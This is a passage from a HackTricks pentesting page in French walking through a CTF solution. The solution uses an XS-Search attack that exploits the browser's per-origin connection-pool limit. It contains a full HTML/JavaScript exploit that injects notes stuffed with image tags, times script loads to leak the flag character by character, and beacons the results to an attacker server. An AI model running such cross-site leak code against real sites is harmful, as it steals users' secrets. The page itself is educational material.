hacktricks/pentesting-web/xs-search/connection-pool-by-destination-example.md
2023-06-03 13:10:46 +00:00

8.1 KiB

Exemple de pool de connexions par destination

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Dans cette exploitation, @terjanq propose une autre solution pour le défi mentionné dans la page suivante :

{% content-ref url="connection-pool-by-destination-example.md" %} connection-pool-by-destination-example.md {% endcontent-ref %}

Voyons comment fonctionne cette exploitation :

  • L'attaquant injectera une note avec autant de balises <img chargeant /js/purify.js que possible (plus de 6 pour bloquer l'origine).
  • Ensuite, l'attaquant supprimera la note avec l'index 1.
  • Ensuite, l'attaquant fera [charger la page par le bot avec la note restante] et enverra une requête à victim.com/js/purify.js qu'il chronométrera.
    • Si le temps est plus grand, l'injection était dans la note laissée, si le temps est plus petit, le flag était dedans.

{% hint style="info" %} Franchement, en lisant le script, j'ai manqué une partie où l'attaquant fait charger la page par le bot pour déclencher les balises img, je ne vois rien de tel dans le code. {% endhint %}

<html>
    <head>
        <script>
            const SITE_URL = 'https://safelist.ctf.sekai.team/';
            const PING_URL = 'https://myserver';
            function timeScript(){
                return new Promise(resolve => {
                    var x = document.createElement('script');
                    x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
                    var start = Date.now();
                    x.onerror = () => {
                        console.log(`Time: ${Date.now() - start}`); //Time request
                        resolve(Date.now() - start);
                        x.remove();
                    }
                    document.body.appendChild(x);
                });
            }

            add_note = async (note) => {
                let x = document.createElement('form')
                x.action = SITE_URL + "create"
                x.method = "POST"
                x.target = "xxx"

                let i = document.createElement("input");
                i.type = "text"
                i.name = "text"
                i.value = note
                x.appendChild(i)
                document.body.appendChild(x)
                x.submit()
            }
            
            remove_note = async (note_id) => {
                let x = document.createElement('form')
                x.action = SITE_URL+"remove"
                x.method = "POST"
                x.target = "_blank"

                let i = document.createElement("input");
                i.type = "text"
                i.name = "index"
                i.value = note_id
                x.appendChild(i)
                document.body.appendChild(x)
                x.submit()
            }
            
            const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
            // }zyxwvutsrqponmlkjihgfedcba_
            const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
            var prefix = 'SEKAI{xsleakyay';
            const TIMEOUT = 500;
            async function checkLetter(letter){
                // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
                // Depending whether we found flag's letter it will either load the images or not.
                // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
                const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
                await add_note(payload);
                await sleep(TIMEOUT);
                await timeScript();
                await remove_note(1); //Now, only the note with the flag or with the injection existsh
                await sleep(TIMEOUT);
                const time = await timeScript(); //Find out how much a request to the same origin takes
                navigator.sendBeacon(PING_URL, [letter,time]);
                if(time>100){
                    return 1;
                }
                return 0;
            }
            window.onload = async () => {
                navigator.sendBeacon(PING_URL, 'start');
                // doesnt work because we are removing flag after success.
                // while(1){
                    for(const letter of alphabet){
                        if(await checkLetter(letter)){
                            prefix += letter;
                            navigator.sendBeacon(PING_URL, prefix);
                            break;
                        }
                    }
                // }
            };            
            </script>            
    </head>
    <body>
    </body>
</html>

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥